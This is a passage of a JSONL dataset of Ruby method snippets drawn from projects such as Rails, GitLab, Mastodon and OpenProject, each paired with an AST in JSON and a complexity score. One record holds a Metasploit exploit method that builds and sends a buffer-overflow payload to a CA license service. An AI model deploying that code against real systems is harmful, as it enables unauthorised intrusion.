sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"state\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repo\"]},{\"type\":\"lvar\",\"children\":[\"source_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"lvar\",\"children\":[\"source_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"lvar\",\"children\":[\"source_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://github.com/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_repo\"]}]},{\"type\":\"str\",\"children\":[\"/tree/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_branch\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"base\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"repo\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"full_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"base\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"ref\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"updated_at\"]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to retrieve the PR information. Status code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_code\"]}]}]}]}]}]}]}]}","id":"9da47ef0-aad2-40ad-a935-8893f9c122ce"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/spec/support/components/add_existing_pane.rb","start_line":44,"raw_source":"def expect_open\n expect(page).to have_selector(selector)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_open\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_selector\",{\"type\":\"send\",\"children\":[null,\"selector\"]}]}]}]}","id":"36e371b9-4b1b-4582-9abe-3772e6d75123"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":123,"raw_source":"def test_create_schema\n @connection.create_schema \"test_schema3\"\n assert @connection.schema_names.include? \"test_schema3\"\n ensure\n @connection.drop_schema \"test_schema3\"\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"create_schema\",{\"type\":\"str\",\"children\":[\"test_schema3\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"schema_names\"]},\"include?\",{\"type\":\"str\",\"children\":[\"test_schema3\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"drop_schema\",{\"type\":\"str\",\"children\":[\"test_schema3\"]}]}]}]}","id":"dd3418e8-189f-4c79-b2c9-f845c0345204"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_state.rb","start_line":134,"raw_source":"def vms\n ids = get_assoc(:vms)\n ids.empty? ? VmOrTemplate.none : VmOrTemplate.where(:id => ids).order(:id)\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"vms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[null,\"get_assoc\",{\"type\":\"sym\",\"children\":[\"vms\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]},\"none\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"513cd104-c7dc-4b0d-8e3c-df20f6970fc6"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":811,"raw_source":"def test_no_queries_for_empty_relation_on_sum\n assert_queries_count(0) do\n assert_equal 0, Post.where(id: []).sum(:tags_count)\n end\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_queries_for_empty_relation_on_sum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[]}]}]}]},\"sum\",{\"type\":\"sym\",\"children\":[\"tags_count\"]}]}]}]}]}","id":"f1807dc4-a623-4763-8999-97ee6a228bd2"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/image_import_job/dispatcher.rb","start_line":19,"raw_source":"def running_import_jobs\n running_jobs.group_by { |job| job.options[:ems_id] }\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"running_import_jobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"running_jobs\"]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ems_id\"]}]}]}]}","id":"6c3c95d5-7686-43de-9672-e6984cb3f74d"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/packages_finder.rb","start_line":7,"raw_source":"def initialize(project, params = {})\n @project = project\n @params = params\n\n params[:order_by] ||= 'created_at'\n params[:sort] ||= 'asc'\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]},{\"type\":\"str\",\"children\":[\"created_at\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"asc\"]}]}]}]}","id":"94faf357-ccc9-42c4-bdff-7ebcac9ea8e1"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/scheduled_statuses_controller.rb","start_line":28,"raw_source":"def destroy\n @status.destroy!\n render_empty\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"render_empty\"]}]}]}","id":"4fd52bba-dcea-4da9-a1a1-2667f782a661"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":763,"raw_source":"def test_inclusion_of_kamal_files\n generator [destination_root]\n run_generator_instance\n\n assert_file \"config/deploy.yml\"\n assert_file \".kamal/secrets\"\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inclusion_of_kamal_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]}]},{\"type\":\"send\",\"children\":[null,\"run_generator_instance\"]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/deploy.yml\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\".kamal/secrets\"]}]}]}]}","id":"c7c8f011-36a4-4402-9bcf-043bc4c4339b"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/trainer/lib/trainer/legacy_xcresult.rb","start_line":179,"raw_source":"def find_failure(failures)\n sanitizer = proc { |name| name.gsub(/\\W/, \"_\") }\n sanitized_identifier = sanitizer.call(self.identifier)\n if self.test_status == \"Failure\"\n # Tries to match failure on test case name\n # Example TestFailureIssueSummary:\n # producingTarget: \"TestThisDude\"\n # test_case_name: \"TestThisDude.testFailureJosh2()\" (when Swift)\n # or \"-[TestThisDudeTests testFailureJosh2]\" (when Objective-C)\n # Example ActionTestMetadata\n # identifier: \"TestThisDude/testFailureJosh2()\" (when Swift)\n # or identifier: \"TestThisDude/testFailureJosh2\" (when Objective-C)\n\n found_failure = failures.find do |failure|\n # Sanitize both test case name and identifier in a consistent fashion, then replace all non-word\n # chars with underscore, and compare them\n sanitized_test_case_name = sanitizer.call(failure.test_case_name)\n sanitized_identifier == sanitized_test_case_name\n end\n return found_failure\n else\n return nil\n end\n end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failures\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sanitizer\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\W\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sanitized_identifier\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitizer\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"identifier\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"test_status\"]},\"==\",{\"type\":\"str\",\"children\":[\"Failure\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found_failure\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failures\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failure\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sanitized_test_case_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitizer\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failure\"]},\"test_case_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitized_identifier\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"sanitized_test_case_name\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_failure\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"91bf80f8-1829-4396-8bf7-ff3458b6c4a3"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":166,"raw_source":"def test_belongs_to_a_model_with_composite_primary_key_uses_composite_pk_in_sql\n comment = sharded_comments(:great_comment_blog_post_one)\n\n sql = capture_sql do\n comment.blog_post\n end.first\n\n assert_match(/#{Regexp.escape(quote_table_name(\"sharded_blog_posts.blog_id\"))} =/, sql)\n assert_match(/#{Regexp.escape(quote_table_name(\"sharded_blog_posts.id\"))} =/, sql)\n end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_belongs_to_a_model_with_composite_primary_key_uses_composite_pk_in_sql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[null,\"sharded_comments\",{\"type\":\"sym\",\"children\":[\"great_comment_blog_post_one\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"blog_post\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"sharded_blog_posts.blog_id\"]}]}]}]},{\"type\":\"str\",\"children\":[\" =\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"sharded_blog_posts.id\"]}]}]}]},{\"type\":\"str\",\"children\":[\" =\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}","id":"02116002-e13d-48e3-a0ea-a0f257122f11"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/input/file_info.rb","start_line":38,"raw_source":"def self.build(file_id:, contract: FileInfoContract.new)\n contract.call(file_id:).to_monad.fmap { |it| new(**it.to_h) }\n end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"file_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"contract\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileInfoContract\"]},\"new\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_id\"]},{\"type\":\"lvar\",\"children\":[\"file_id\"]}]}]}]},\"to_monad\"]},\"fmap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"it\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"it\"]},\"to_h\"]}]}]}]}]}]}","id":"96146ce8-23e8-458a-919c-ba368952409a"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/canonical_email_blocks_controller.rb","start_line":34,"raw_source":"def create\n authorize :canonical_email_block, :create?\n @canonical_email_block = CanonicalEmailBlock.create!(resource_params)\n log_action :create, @canonical_email_block\n render json: @canonical_email_block, serializer: REST::Admin::CanonicalEmailBlockSerializer\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"canonical_email_block\"]},{\"type\":\"sym\",\"children\":[\"create?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@canonical_email_block\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CanonicalEmailBlock\"]},\"create!\",{\"type\":\"send\",\"children\":[null,\"resource_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_action\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"ivar\",\"children\":[\"@canonical_email_block\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@canonical_email_block\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"Admin\"]},\"CanonicalEmailBlockSerializer\"]}]}]}]}]}]}","id":"1afa2b26-5792-4d3c-84b0-80fb49ba04fe"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_server_import/importers/notes_importer.rb","start_line":67,"raw_source":"def process_comment(merge_request, activity)\n if activity.comment?\n return enqueue_comment_import(merge_request, 'inline', activity.comment) if activity.inline_comment?\n\n return enqueue_comment_import(merge_request, 'standalone_notes', activity.comment)\n end\n\n comment_type = if activity.approved_event?\n 'approved_event'\n elsif activity.declined_event?\n 'declined_event'\n elsif activity.merge_event?\n 'merge_event'\n end\n\n enqueue_comment_import(merge_request, comment_type, activity) if comment_type\n end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"activity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"comment?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"inline_comment?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enqueue_comment_import\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"str\",\"children\":[\"inline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"comment\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enqueue_comment_import\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"str\",\"children\":[\"standalone_notes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"comment\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"comment_type\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"approved_event?\"]},{\"type\":\"str\",\"children\":[\"approved_event\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"declined_event?\"]},{\"type\":\"str\",\"children\":[\"declined_event\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"merge_event?\"]},{\"type\":\"str\",\"children\":[\"merge_event\"]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_type\"]},{\"type\":\"send\",\"children\":[null,\"enqueue_comment_import\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"comment_type\"]},{\"type\":\"lvar\",\"children\":[\"activity\"]}]},null]}]}]}","id":"0e0c036c-ebf0-4bda-b76d-c42c84557e0e"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/license/calicserv_getconfig.rb","start_line":85,"raw_source":"def exploit\n connect\n banner = sock.get_once\n if (banner !~ /GETCONFIG/)\n print_status(\"The server did not return the expected greeting!\")\n end\n\n # exploits two different versions at once >:-)\n # 144 -> return address of esi points to string middle\n # 196 -> return address of edi points to string beginning\n # 148 -> avoid exception by patching with writable address\n # 928 -> seh handler (not useful under XP SP2)\n buff = rand_text_alphanumeric(900)\n buff[142, 2] = Rex::Arch::X86.jmp_short(8)\t# jmp over addresses\n buff[144, 4] = [target['Rets'][0]].pack('V')\t# jmp esi\n buff[148, 4] = [target['Rets'][1]].pack('V')\t# writable address\n buff[194, 2] = Rex::Arch::X86.jmp_short(4)\t# jmp over address\n buff[196, 4] = [target['Rets'][2]].pack('V')\t# jmp edi\n buff[272, payload.encoded.length] = payload.encoded\n\n sploit = \"A0 GETCONFIG SELF #{buff}\"\n sock.put(sploit)\n\n handler\n disconnect\n end","complexity_score":47.25,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"GETCONFIG\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"The server did not return the expected greeting!\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"buff\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[900]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[142]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"X86\"]},\"jmp_short\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[144]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Rets\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[148]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Rets\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[194]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"X86\"]},\"jmp_short\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[196]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Rets\"]}]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]},\"[]=\",{\"type\":\"int\",\"children\":[272]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"A0 GETCONFIG SELF \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"975c5b81-a0bb-4bed-96c1-0a94480e86b4"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/controllers/openid_connect/providers_controller.rb","start_line":196,"raw_source":"def make_group_matcher\n result = OpenIDConnect::Providers::SetAttributesService.new(\n user: User.current,\n model: OpenIDConnect::Provider.new,\n contract_class: OpenIDConnect::Providers::CreateContract\n ).call(group_regexes: params[:preview_regular_expressions])\n\n if result.errors[:group_regexes].present?\n ServiceResult.failure(errors: result.errors[:group_regexes])\n else\n ServiceResult.success(result: OpenIDConnect::Groups::GroupMatchService.new(result.result.group_matchers))\n end\n 